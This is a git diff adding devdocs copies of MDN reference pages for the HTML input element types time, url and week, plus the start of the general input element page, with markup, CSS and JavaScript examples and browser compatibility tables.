+  // populate the minutes <select> with the 60 hours of each minute
+  for (let i = 0; i <= 59; i++) {
+    const option = document.createElement("option");
+    option.textContent = i < 10 ? `0${i}` : i;
+    minuteSelect.appendChild(option);
+  }
+}
+
+// make it so that if the hour is 18, the minutes value is set to 00
+// — you can't select times past 18:00
+function setMinutesToZero() {
+  if (hourSelect.value === "18") {
+    minuteSelect.value = "00";
+  }
+}
+
+hourSelect.onchange = setMinutesToZero;
+minuteSelect.onchange = setMinutesToZero;
+
+
+
+

Technical Summary

+
Value A string representing a time, or empty.
Events change and input
Supported common attributes autocomplete, list, readonly, and step
IDL attributes value, valueAsDate, valueAsNumber, and list.
DOM interface

HTMLInputElement
Methods select(), stepDown(), and stepUp().
Implicit ARIA Role no corresponding role
+

Specifications

+
+ + +
Specification
HTML Standard
# time-state-(type=time)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
time201257No1014.14.4255710.151.5
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/time +

+
diff --git a/devdocs/html/element%2Finput%2Furl.html b/devdocs/html/element%2Finput%2Furl.html new file mode 100644 index 00000000..fb831e72 --- /dev/null +++ b/devdocs/html/element%2Finput%2Furl.html @@ -0,0 +1,268 @@ +

<input type="url">

<input> elements of type url are used to let the user enter and edit a URL.

+

Try it

+
+

The input value is automatically validated to ensure that it's either empty or a properly-formatted URL before the form can be submitted. The :valid and :invalid CSS pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid URL or not.

On browsers that don't support inputs of type url, a url input falls back to being a standard text input.

+
+

Value

+
+

The <input> element's value attribute contains a string which is automatically validated as conforming to URL syntax. More specifically, there are two possible value formats that will pass validation:

  1. An empty string ("") indicating that the user did not enter a value or that the value was removed.
  2. A single properly-formed absolute URL. This doesn't necessarily mean the URL address exists, but it is at least formatted correctly. In simple terms, this means urlscheme://restofurl.

See Validation for details on how URLs are validated to ensure that they're formatted properly.

+
+

Additional attributes

+

In addition to the attributes that operate on all <input> elements regardless of their type, url inputs support the following attributes.

+

list

+

The values of the list attribute is the id of a <datalist> element located in the same document. The <datalist> provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the type are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value.

+

maxlength

+
+

The maximum string length (measured in UTF-16 code units) that the user can enter into the url input. This must be an integer value of 0 or higher. If no maxlength is specified, or an invalid value is specified, the url input has no maximum length. This value must also be greater than or equal to the value of minlength.

The input will fail constraint validation if the length of the text value of the field is greater than maxlength UTF-16 code units long. Constraint validation is only applied when the value is changed by the user.

+
+

minlength

+
+

The minimum string length (measured in UTF-16 code units) that the user can enter into the url input. This must be a non-negative integer value smaller than or equal to the value specified by maxlength. If no minlength is specified, or an invalid value is specified, the url input has no minimum length.

The input will fail constraint validation if the length of the text entered into the field is fewer than minlength UTF-16 code units long. Constraint validation is only applied when the value is changed by the user.

+
+

pattern

+
+

The pattern attribute, when specified, is a regular expression that the input's value must match for the value to pass constraint validation. It must be a valid JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text.

If the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely.

Note: Use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You should also include other explanatory text nearby.

See the section Pattern validation for details and an example.

+
+

placeholder

+
+

The placeholder attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text must not include carriage returns or line feeds.

If the control's content has one directionality (LTR or RTL) but needs to present the placeholder in the opposite directionality, you can use Unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see How to use Unicode controls for bidi text for more information.

Note: Avoid using the placeholder attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See <input> labels for more information.

+
+

readonly

+
+

A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by JavaScript code directly setting the HTMLInputElement value property.

Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

+
+

size

+
+

The size attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since character widths vary, this may or may not be exact and should not be relied upon to be so; the resulting input may be narrower or wider than the specified number of characters, depending on the characters and the font (font settings in use).

This does not set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the maxlength attribute.

+
+

spellcheck

+
+

spellcheck is a global attribute which is used to indicate whether to enable spell checking for an element. It can be used on any editable content, but here we consider specifics related to the use of spellcheck on <input> elements. The permitted values for spellcheck are:

false

Disable spell checking for this element.

true

Enable spell checking for this element.

"" (empty string) or no value

Follow the element's default behavior for spell checking. This may be based upon a parent's spellcheck setting or other factors.

An input field can have spell checking enabled if it doesn't have the readonly attribute set and is not disabled.

The value returned by reading spellcheck may not reflect the actual state of spell checking within a control, if the user agent's preferences override the setting.

+
+

Non-standard attributes

+

The following non-standard attributes are also available on some browsers. As a general rule, you should avoid using them unless it can't be helped.

+

autocorrect

+
+

A Safari extension, the autocorrect attribute is a string which indicates whether to activate automatic correction while the user is editing this field. Permitted values are:

on

Enable automatic correction of typos, as well as processing of text substitutions if any are configured.

off

Disable automatic correction and text substitutions.

+
+

mozactionhint +

+
+

A Mozilla extension, which provides a hint as to what sort of action will be taken if the user presses the Enter or Return key while editing the field.

Deprecated: Use enterkeyhint instead.

+
+

Using URL inputs

+
+

When you create a URL input with the proper type value, url, you get automatic validation that the entered text is at least in the correct form to potentially be a legitimate URL. This can help avoid cases in which the user mistypes their website's address, or provides an invalid one.

It's important, however, to note that this is not enough to ensure that the specified text is a URL which actually exists, corresponds to the user of the site, or is acceptable in any other way. It ensures that the value of the field is properly formatted to be a URL.

Note: A user can tinker with your HTML behind the scenes, so your site must not use this validation for any security purposes. You must verify the URL on the server-side of any transaction in which the provided text may have any security implications of any kind.

+
+

A simple URL input

+
+

Currently, all browsers which implement this element implement it as a standard text input field with basic validation features. In its most basic form, a URL input can be implemented like this:

+

html

+
<input id="myURL" name="myURL" type="url" />
+
+
+
+ + +

Notice that it's considered valid when empty and when a single validly-formatted URL address is entered, but is otherwise not considered valid. By adding the required attribute, only properly-formed URLs are allowed; the input is no longer considered valid when empty.

There is nothing magical going on here. Submitting this form would cause the following data to be sent to the server: myURL=http%3A%2F%2Fwww.example.com. Note how characters are escaped as necessary.

+
+

Placeholders

+
+

Sometimes it's helpful to offer an in-context hint as to what form the input data should take. This can be especially important if the page design doesn't offer descriptive labels for each <input>. This is where placeholders come in. A placeholder is a value that demonstrates the form the value should take by presenting an example of a valid value, which is displayed inside the edit box when the element's value is "". Once data is entered into the box, the placeholder disappears; if the box is emptied, the placeholder reappears.

Here, we have a url input with the placeholder http://www.example.com. Note how the placeholder disappears and reappears as you manipulate the contents of the edit field.

+

html

+
<input
+  id="myURL"
+  name="myURL"
+  type="url"
+  placeholder="http://www.example.com" />
+
+
+
+ + +
+
+

Controlling the input size

+
+

You can control not only the physical length of the input box, but also the minimum and maximum lengths allowed for the input text itself.

Physical input element size

The physical size of the input box can be controlled using the size attribute. With it, you can specify the number of characters the input box can display at a time. In this example, for instance, the url edit box is 30 characters wide:

+

html

+
<input id="myURL" name="myURL" type="url" size="30" />
+
+
+
+ + +

Element value length

The size is separate from the length limitation on the entered URL itself. You can specify a minimum length, in characters, for the entered URL using the minlength attribute; similarly, use maxlength to set the maximum length of the entered URL. If maxLength exceeds size, the input box's contents will scroll as needed to show the current selection or insertion point as the content is manipulated.

The example below creates a 30-character wide URL address entry box, requiring that the contents be no shorter than 10 characters and no longer than 80 characters.

+

html

+
<input
+  id="myURL"
+  name="myURL"
+  type="url"
+  size="30"
+  minlength="10"
+  maxlength="80" />
+
+
+
+ + +

Note: These attributes also affect validation; a value shorter or longer than the specified minimum/maximum lengths will be classified as invalid; in addition most browsers will refuse to let the user enter a value longer than the specified maximum length.

+
+

Providing default options

+
+

Providing a single default using the value attribute

As always, you can provide a default value for a url input box by setting its value attribute:

+

html

+
<input id="myURL" name="myURL" type="url" value="http://www.example.com" />
+
+
+
+ + +

Offering suggested values

Taking it a step further, you can provide a list of default options from which the user can select by specifying the list attribute. This doesn't limit the user to those options, but does allow them to select commonly-used URLs more quickly. This also offers hints to autocomplete. The list attribute specifies the ID of a <datalist>, which in turn contains one <option> element per suggested value; each option's value is the corresponding suggested value for the URL entry box.

+

html

+
<input id="myURL" name="myURL" type="url" list="defaultURLs" />
+
+<datalist id="defaultURLs">
+  <option value="https://developer.mozilla.org/"></option>
+  <option value="http://www.google.com/"></option>
+  <option value="http://www.microsoft.com/"></option>
+  <option value="https://www.mozilla.org/"></option>
+  <option value="http://w3.org/"></option>
+</datalist>
+
+
+
+ + +

With the <datalist> element and its <option>s in place, the browser will offer the specified values as potential values for the URL; this is typically presented as a popup or drop-down menu containing the suggestions. While the specific user experience may vary from one browser to another, typically clicking in the edit box presents a drop-down of the suggested URLs. Then, as the user types, the list is adjusted to show only matching values. Each typed character narrows down the list until the user makes a selection or types a custom value.

Using labels for suggested values

You can opt to include the label attribute on one or all of your <option> elements to provide textual labels. Some browsers may display only the labels, while others may display both the label and the URL.

+

html

+
<input id="myURL" name="myURL" type="url" list="defaultURLs" />
+
+<datalist id="defaultURLs">
+  <option value="https://developer.mozilla.org/" label="MDN Web Docs"></option>
+  <option value="http://www.google.com/" label="Google"></option>
+  <option value="http://www.microsoft.com/" label="Microsoft"></option>
+  <option value="https://www.mozilla.org/" label="Mozilla"></option>
+  <option value="http://w3.org/" label="W3C"></option>
+</datalist>
+
+
+
+ + +
+
+

Validation

+
+

There are two levels of content validation available for url inputs. First, there's the standard level of validation offered to all <input>s, which automatically ensures that the contents meet the requirements to be a valid URL. But there's also the option to add additional filtering to ensure that your own specialized needs are met, if you have any.

Warning: HTML form validation is not a substitute for scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data (or data which is too large, is of the wrong type, and so forth) is entered into your database.

+
+

Basic validation

+
+

Browsers that support the url input type automatically provide validation to ensure that only text that matches the standard format for URLs is entered into the input box.

The syntax of a URL is fairly intricate. It's defined by WHATWG's URL Living Standard and is described for newcomers in our article What is a URL?

+
+

Making a URL required

+
+

As mentioned earlier, to make a URL entry required before the form can be submitted (you can't leave the field blank), you just need to include the required attribute on the input.

+

html

+
<form>
+  <input id="myURL" name="myURL" type="url" required />
+  <button>Submit</button>
+</form>
+
+
+
+ + +

Try submitting the above form with no value entered to see what happens.

+
+

Pattern validation

+
+

If you need the entered URL to be restricted further than just "any string that looks like a URL," you can use the pattern attribute to specify a regular expression the value must match for the value to be valid.

For example, let's say you're building a support page for employees of Myco, Inc. which will let them contact their IT department for help if one of their pages has a problem. In our simplified form, the user needs to enter the URL of the page that has a problem, and a message describing what is wrong. But we want the URL to only successfully validate if the entered URL is in a Myco domain.

Since inputs of type url validate against both the standard URL validation and the specified pattern, you can implement this easily. Let's see how:

+

html

+
<form>
+  <div>
+    <label for="myURL">Enter the problem website address:</label>
+    <input
+      id="myURL"
+      name="myURL"
+      type="url"
+      required
+      pattern=".*\.myco\..*"
+      title="The URL must be in a Myco domain" />
+    <span class="validity"></span>
+  </div>
+  <div>
+    <label for="myComment">What is the problem?</label>
+    <input id="myComment" name="myComment" type="text" required />
+    <span class="validity"></span>
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+
+
+ + +

First of all, the required attribute is specified, making it mandatory that a valid URL be provided.

Second, in the url input we set pattern to ".*\.myco\..*". This simple regular expression requests a string that has any number of characters, followed by a dot, followed by "myco", followed by a dot, followed by any number of characters. And because the browser runs both the standard URL filter and our custom pattern against the specified text, we wind up with a validation which says "make sure this is a valid URL, and also in a Myco domain."

This isn't perfect, but it is good enough for this simple demo's requirements.

It's advisable to use the title attribute along with pattern. If you do, the title must describe the pattern; it should explain what format the data should take on, rather than any other information. That's because the title may be displayed or spoken as part of a validation error message. For example, the browser might present the message "The entered text doesn't match the required pattern." followed by your specified title. If your title is something like "URL", the result would be the message "The entered text doesn't match the required pattern. URL", which is not a good user experience.

That's why, instead, we specify the string "The URL must be in a myco domain". By doing that, the resulting full error message might be something like "The entered text doesn't match the required pattern. The URL should be in a myco domain."

Note: If you run into trouble while writing your validation regular expressions and they're not working properly, check your browser's console; there may be helpful error messages there to aid you in solving the problem.

+
+

Examples

+
+

There's not much else to say about url type inputs; check the Pattern validation and Using URL inputs sections for numerous examples.

You can also find our pattern validation example on GitHub (see it running live also).

+
+

Technical summary

+
Value A string representing a URL, or empty
Events change and input
Supported Common Attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size
IDL attributes list, value, selectionEnd, selectionDirection
DOM interface

HTMLInputElement
Methods select(), setRangeText() and setSelectionRange().
Implicit ARIA Role with no list attribute: textbox with list attribute: combobox +
+

Specifications

+
+ + +
Specification
HTML Standard
# url-state-(type=url)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
url1121101114.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/url +

+
diff --git a/devdocs/html/element%2Finput%2Fweek.html b/devdocs/html/element%2Finput%2Fweek.html new file mode 100644 index 00000000..c7084a1d --- /dev/null +++ b/devdocs/html/element%2Finput%2Fweek.html @@ -0,0 +1,280 @@ +

<input type="week">

<input> elements of type week create input fields allowing easy entry of a year plus the ISO 8601 week number during that year (i.e., week 1 to 52 or 53).

+

Try it

+
+

The control's user interface varies from browser to browser; cross-browser support is currently a bit limited, with only Chrome/Opera and Microsoft Edge supporting it at this time. In non-supporting browsers, the control degrades gracefully to function identically to <input type="text">.

An input reading 'week 01, 2017'. The background of the 2017 is the same blue as the focus ring. There are 3 icons in the input: x or clear, a spinner with small up and down arrows, and a larger down arrow. A calendar is a pop-up below the input set to January 2017. The first column of the calendar is the week: 52, 1, 2, 3, 4, 5. the full month calendar is to the right of that. The row with Week 1 and January 2 to 8 is highlighted. On the same line as the month, there are buttons to move right and left for the next and previous months.

+
+

Value

+
+

A string representing the value of the week/year entered into the input. The format of the date and time value used by this input type is described in Week strings.

You can set a default value for the input by including a value inside the value attribute, like so:

+

html

+
<label for="week">What week would you like to start?</label>
+<input id="week" type="week" name="week" value="2017-W01" />
+
+
+
+ + +

One thing to note is that the displayed format may differ from the actual value, which is always formatted yyyy-Www. When the above value is submitted to the server, for example, browsers may display it as Week 01, 2017, but the submitted value will always look like week=2017-W01.

You can also get and set the value in JavaScript using the input element's value property, for example:

+

js

+
const weekControl = document.querySelector('input[type="week"]');
+weekControl.value = "2017-W45";
+
+
+
+

Additional attributes

+

In addition to the attributes common to <input> elements, week inputs offer the following attributes.

+

max

+
+

The latest (time-wise) year and week number, in the string format discussed in the Value section above, to accept. If the value entered into the element exceeds this, the element fails constraint validation. If the value of the max attribute isn't a valid week string, then the element has no maximum value.

This value must be greater than or equal to the year and week specified by the min attribute.

+
+

min

+
+

The earliest year and week to accept. If the value of the element is less than this, the element fails constraint validation. If a value is specified for min that isn't a valid week string, the input has no minimum value.

This value must be less than or equal to the value of the max attribute.

+
+

readonly

+
+

A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by JavaScript code directly setting the HTMLInputElement value property.

Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

+
+

step

+
+

The step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, which is described below. Only values which are equal to the basis for stepping (min if specified, value otherwise, and an appropriate default value if neither of those is provided) are valid.

A string value of any means that no stepping is implied, and any value is allowed (barring other constraints, such as min and max).

Note: When the data entered by the user doesn't adhere to the stepping configuration, the user agent may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.

For week inputs, the value of step is given in weeks, with a scaling factor of 604,800,000 (since the underlying numeric value is in milliseconds). The default value of step is 1, indicating 1week. The default stepping base is -259,200,000, which is the beginning of the first week of 1970 ("1970-W01").

At this time, it's unclear what a value of "any" means for step when used with week inputs. This will be updated as soon as that information is determined.

+
+

Using week inputs

+
+

Week inputs sound convenient at first glance, since they provide an easy UI for choosing weeks, and they normalize the data format sent to the server, regardless of the user's browser or locale. However, there are issues with <input type="week"> because browser support is not guaranteed across all browsers.

We'll look at basic and more complex uses of <input type="week">, then offer advice on mitigating the browser support issue later on (see Handling browser support).

+
+

Basic uses of week

+
+

The simplest use of <input type="week"> involves a basic <input> and <label> element combination, as seen below:

+

html

+
<form>
+  <label for="week">What week would you like to start?</label>
+  <input id="week" type="week" name="week" />
+</form>
+
+
+
+ + +
+
+

Controlling input size

+

<input type="week"> doesn't support form sizing attributes such as size. You'll have to resort to CSS for sizing needs.

+

Using the step attribute

+

You should be able to use the step attribute to vary the number of weeks jumped whenever they are incremented or decremented, however it doesn't seem to have any effect on supporting browsers.

+

Validation

+

By default, <input type="week"> does not apply any validation to entered values. The UI implementations generally don't let you specify anything that isn't a valid week/year, which is helpful, but it's still possible to submit with the field empty, and you might want to restrict the range of choosable weeks.

+

Setting maximum and minimum weeks

+
+

You can use the min and max attributes to restrict the valid weeks that can be chosen by the user. In the following example we are setting a minimum value of Week 01, 2017 and a maximum value of Week 52, 2017:

+

html

+
<form>
+  <label for="week">What week would you like to start?</label>
+  <input id="week" type="week" name="week" min="2017-W01" max="2017-W52" />
+  <span class="validity"></span>
+</form>
+
+
+
+ + +

Here's the CSS used in the above example. Here we make use of the :valid and :invalid CSS properties to style the input based on whether the current value is valid. We had to put the icons on a <span> next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively.

+

css

+
div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid + span::after {
+  position: absolute;
+  content: "✖";
+  padding-left: 5px;
+}
+
+input:valid + span::after {
+  position: absolute;
+  content: "✓";
+  padding-left: 5px;
+}
+
+

The result here is that only weeks between W01 and W52 in 2017 will be seen as valid and be selectable in supporting browsers.

+
+

Making week values required

+
+

In addition you can use the required attribute to make filling in the week mandatory. As a result, supporting browsers will display an error if you try to submit an empty week field.

Let's look at an example; here we've set minimum and maximum weeks, and also made the field required:

+

html

+
<form>
+  <div>
+    <label for="week">What week would you like to start?</label>
+    <input
+      id="week"
+      type="week"
+      name="week"
+      min="2017-W01"
+      max="2017-W52"
+      required />
+    <span class="validity"></span>
+  </div>
+  <div>
+    <input type="submit" value="Submit form" />
+  </div>
+</form>
+
+

If you try to submit the form with no value, the browser displays an error. Try playing with the example now:

+
+ + +

Here is a screenshot for those of you who aren't using a supporting browser:

The week form control has two dashes where the week number should be. A popup with a yellow warning symbol and a 'Please fill out this field' is emanating from the two dashes, which are highlighted in blue, the same blue as the input's focus ring.

Warning: HTML form validation is not a substitute for scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, of the wrong type, and so forth).

+
+

Handling browser support

+
+

As mentioned above, the major problem with using week inputs right now is browser support: Safari and Firefox don't support it on desktop, and old versions of IE don't support it.

Mobile platforms such as Android and iOS make perfect use of such input types, providing specialist UI controls that make it really easy to select values in a touchscreen environment. For example, the week picker on Chrome for Android looks like this:

A modal popup. The header reads 'set week'. There are two columns: the left has 36 in the middle at full opacity, with 35 above it and 37 below being semi-opaque. On the right side, 2017 is fully opaque. There are no other options. Three text links or buttons on the bottom include 'clear' on the 'left' and 'cancel' and 'set' on the right.

Non-supporting browsers gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling.

The second problem is the more serious. As mentioned earlier, with a week input the actual value is always normalized to the format yyyy-Www. When the browser falls back to a generic text input, there's nothing to guide the user toward correctly formatting the input (and it's certainly not intuitive). There are multiple ways in which people could write week values; for example:

The best way to deal with week/years in forms in a cross-browser way at the moment is to get the user to enter the week number and year in separate controls (<select> elements being popular; see below for an example), or use JavaScript libraries such as jQuery date picker.

+
+

Examples

+
+

In this example we create two sets of UI elements for choosing weeks: a native picker created using <input type="week">, and a set of two <select> elements for choosing weeks/years in older browsers that don't support the week input type.

+
+ + +

The HTML looks like so:

+

html

+
<form>
+  <div class="nativeWeekPicker">
+    <label for="week">What week would you like to start?</label>
+    <input
+      id="week"
+      type="week"
+      name="week"
+      min="2017-W01"
+      max="2018-W52"
+      required />
+    <span class="validity"></span>
+  </div>
+  <p class="fallbackLabel">What week would you like to start?</p>
+  <div class="fallbackWeekPicker">
+    <div>
+      <span>
+        <label for="week">Week:</label>
+        <select id="fallbackWeek" name="week"></select>
+      </span>
+      <span>
+        <label for="year">Year:</label>
+        <select id="year" name="year">
+          <option value="2017" selected>2017</option>
+          <option value="2018">2018</option>
+        </select>
+      </span>
+    </div>
+  </div>
+</form>
+
+

The week values are dynamically generated by the JavaScript code below.

The other part of the code that may be of interest is the feature detection code. To detect whether the browser supports <input type="week">, we create a new <input> element, try setting its type to week, then immediately check what its type is set to. Non-supporting browsers will return text, because the week type falls back to type text. If <input type="week"> is not supported, we hide the native picker and show the fallback picker UI (<select>s) instead.

+

js

+
// Get UI elements
+const nativePicker = document.querySelector(".nativeWeekPicker");
+const fallbackPicker = document.querySelector(".fallbackWeekPicker");
+const fallbackLabel = document.querySelector(".fallbackLabel");
+
+const yearSelect = document.querySelector("#year");
+const weekSelect = document.querySelector("#fallbackWeek");
+
+// Hide fallback initially
+fallbackPicker.style.display = "none";
+fallbackLabel.style.display = "none";
+
+// Test whether a new date input falls back to a text input or not
+const test = document.createElement("input");
+
+try {
+  test.type = "week";
+} catch (e) {
+  console.log(e.description);
+}
+
+// If it does, run the code inside the if () {} block
+if (test.type === "text") {
+  // Hide the native picker and show the fallback
+  nativePicker.style.display = "none";
+  fallbackPicker.style.display = "block";
+  fallbackLabel.style.display = "block";
+
+  // populate the weeks dynamically
+  populateWeeks();
+}
+
+function populateWeeks() {
+  // Populate the week select with 52 weeks
+  for (let i = 1; i <= 52; i++) {
+    const option = document.createElement("option");
+    option.textContent = i < 10 ? `0${i}` : i;
+    weekSelect.appendChild(option);
+  }
+}
+
+

Note: Remember that some years have 53 weeks in them (see Weeks per year)! You'll need to take this into consideration when developing production apps.

+
+

Technical summary

+
Value A string representing a week and year, or empty
Events change and input
Supported common attributes autocomplete, list, readonly, and step
IDL attributes value, valueAsDate, valueAsNumber, and list.
DOM interface

HTMLInputElement
Methods select(), stepDown(), and stepUp()
Implicit ARIA Role no corresponding role
+

Specifications

+
+ + +
Specification
HTML Standard
# week-state-(type=week)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
week2012NoNo11No4.4251814No1.5
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/week +

+
diff --git a/devdocs/html/element%2Finput.html b/devdocs/html/element%2Finput.html new file mode 100644 index 00000000..1195f556 --- /dev/null +++ b/devdocs/html/element%2Finput.html @@ -0,0 +1,1191 @@ +

<input>: The Input (Form Input) element

The <input> HTML element is used to create interactive controls for web-based forms in order to accept data from the user; a wide variety of types of input data and control widgets are available, depending on the device and user agent. The <input> element is one of the most powerful and complex in all of HTML due to the sheer number of combinations of input types and attributes.

+

Try it

+
+

<input> types

+
+

How an <input> works varies considerably depending on the value of its type attribute, hence the different types are covered in their own separate reference pages. If this attribute is not specified, the default type adopted is text.

The available types are as follows:

Type Description Basic Examples
button A push button with no default behavior displaying the value of the value attribute, empty by default. +
+ + +
checkbox A check box allowing single values to be selected/deselected. +
+ + +
color A control for specifying a color; opening a color picker when active in supporting browsers. +
+ + +
date A control for entering a date (year, month, and day, with no time). Opens a date picker or numeric wheels for year, month, day when active in supporting browsers. +
+ + +
datetime-local A control for entering a date and time, with no time zone. Opens a date picker or numeric wheels for date- and time-components when active in supporting browsers. +
+ + +
email A field for editing an email address. Looks like a text input, but has validation parameters and relevant keyboard in supporting browsers and devices with dynamic keyboards. +
+ + +
file A control that lets the user select a file. Use the accept attribute to define the types of files that the control can select. +
+ + +
hidden A control that is not displayed but whose value is submitted to the server. There is an example in the next column, but it's hidden! +
+ + +
image A graphical submit button. Displays an image defined by the src attribute. The alt attribute displays if the image src is missing. +
+ + +
month A control for entering a month and year, with no time zone. +
+ + +
number A control for entering a number. Displays a spinner and adds default validation. Displays a numeric keypad in some devices with dynamic keypads. +
+ + +
password A single-line text field whose value is obscured. Will alert user if site is not secure. +
+ + +
radio A radio button, allowing a single value to be selected out of multiple choices with the same name value. +
+ + +
range A control for entering a number whose exact value is not important. Displays as a range widget defaulting to the middle value. Used in conjunction min and max to define the range of acceptable values. +
+ + +
reset A button that resets the contents of the form to default values. Not recommended. +
+ + +
search A single-line text field for entering search strings. Line-breaks are automatically removed from the input value. May include a delete icon in supporting browsers that can be used to clear the field. Displays a search icon instead of enter key on some devices with dynamic keypads. +
+ + +
submit A button that submits the form. +
+ + +
tel A control for entering a telephone number. Displays a telephone keypad in some devices with dynamic keypads. +
+ + +
text The default value. A single-line text field. Line-breaks are automatically removed from the input value. +
+ + +
time A control for entering a time value with no time zone. +
+ + +
url A field for entering a URL. Looks like a text input, but has validation parameters and relevant keyboard in supporting browsers and devices with dynamic keyboards. +
+ + +
week A control for entering a date consisting of a week-year number and a week number with no time zone. +
+ + +
Obsolete values
+datetime + A control for entering a date and time (hour, minute, second, and fraction of a second) based on UTC time zone. +
+ + +
+
+

Attributes

+
+

The <input> element is so powerful because of its attributes; the type attribute, described with examples above, being the most important. Since every <input> element, regardless of type, is based on the HTMLInputElement interface, they technically share the exact same set of attributes. However, in reality, most attributes have an effect on only a specific subset of input types. In addition, the way some attributes impact an input depends on the input type, impacting different input types in different ways.

This section provides a table listing all the attributes with a brief description. This table is followed by a list describing each attribute in greater detail, along with which input types they are associated with. Those that are common to most or all input types are defined in greater detail below. Attributes that are unique to particular input types—or attributes which are common to all input types but have special behaviors when used on a given input type—are instead documented on those types' pages.

Attributes for the <input> element include the global HTML attributes and additionally:

Attribute Type or Types Description
accept file Hint for expected file type in file upload controls
alt image alt attribute for the image type. Required for accessibility
autocomplete all except checkbox, radio, and buttons Hint for form autofill feature
capture file Media capture input method in file upload controls
checked +checkbox, radio + Whether the command or control is checked
dirname +hidden, text, search, url, tel, email + Name of form field to use for sending the element's directionality in form submission
disabled all Whether the form control is disabled
form all Associates the control with a form element
formaction +image, submit + URL to use for form submission
formenctype +image, submit + Form data set encoding type to use for form submission
formmethod +image, submit + HTTP method to use for form submission
formnovalidate +image, submit + Bypass form control validation for form submission
formtarget +image, submit + Browsing context for form submission
height image Same as height attribute for <img>; vertical dimension
list all except hidden, password, checkbox, radio, and buttons Value of the id attribute of the <datalist> of autocomplete options
max +date, month, week, time, datetime-local, number, range + Maximum value
maxlength +text, search, url, tel, email, password + Maximum length (number of characters) of value +
min +date, month, week, time, datetime-local, number, range + Minimum value
minlength +text, search, url, tel, email, password + Minimum length (number of characters) of value +
multiple +email, file + Boolean. Whether to allow multiple values
name all Name of the form control. Submitted with the form as part of a name/value pair
pattern +text, search, url, tel, email, password + Pattern the value must match to be valid
placeholder +text, search, url, tel, email, password, number + Text that appears in the form control when it has no value set
popovertarget button Designates an <input type="button"> as a control for a popover element
popovertargetaction button Specifies the action that a popover control should perform
readonly all except hidden, range, color, checkbox, radio, and buttons Boolean. The value is not editable
required all except hidden, range, color, and buttons Boolean. A value is required or must be checked for the form to be submittable
size +text, search, url, tel, email, password + Size of the control
src image Same as src attribute for <img>; address of image resource
step +date, month, week, time, datetime-local, number, range + Incremental values that are valid
type all Type of form control
value all except image + The initial value of the control
width image Same as width attribute for <img> +

A few additional non-standard attributes are listed following the descriptions of the standard attributes.

+
+

Individual attributes

+
accept

Valid for the file input type only, the accept attribute defines which file types are selectable in a file upload control. See the file input type.

alt

Valid for the image button only, the alt attribute provides alternative text for the image, displaying the value of the attribute if the image src is missing or otherwise fails to load. See the image input type.

autocomplete

(Not a Boolean attribute!) The autocomplete attribute takes as its value a space-separated string that describes what, if any, type of autocomplete functionality the input should provide. A typical implementation of autocomplete recalls previous values entered in the same input field, but more complex forms of autocomplete can exist. For instance, a browser could integrate with a device's contacts list to autocomplete email addresses in an email input field. See autocomplete for permitted values.

The autocomplete attribute is valid on hidden, text, search, url, tel, email, date, month, week, time, datetime-local, number, range, color, and password. This attribute has no effect on input types that do not return numeric or text data, being valid for all input types except checkbox, radio, file, or any of the button types.

See the autocomplete attribute for additional information, including information on password security and how autocomplete is slightly different for hidden than for other input types.
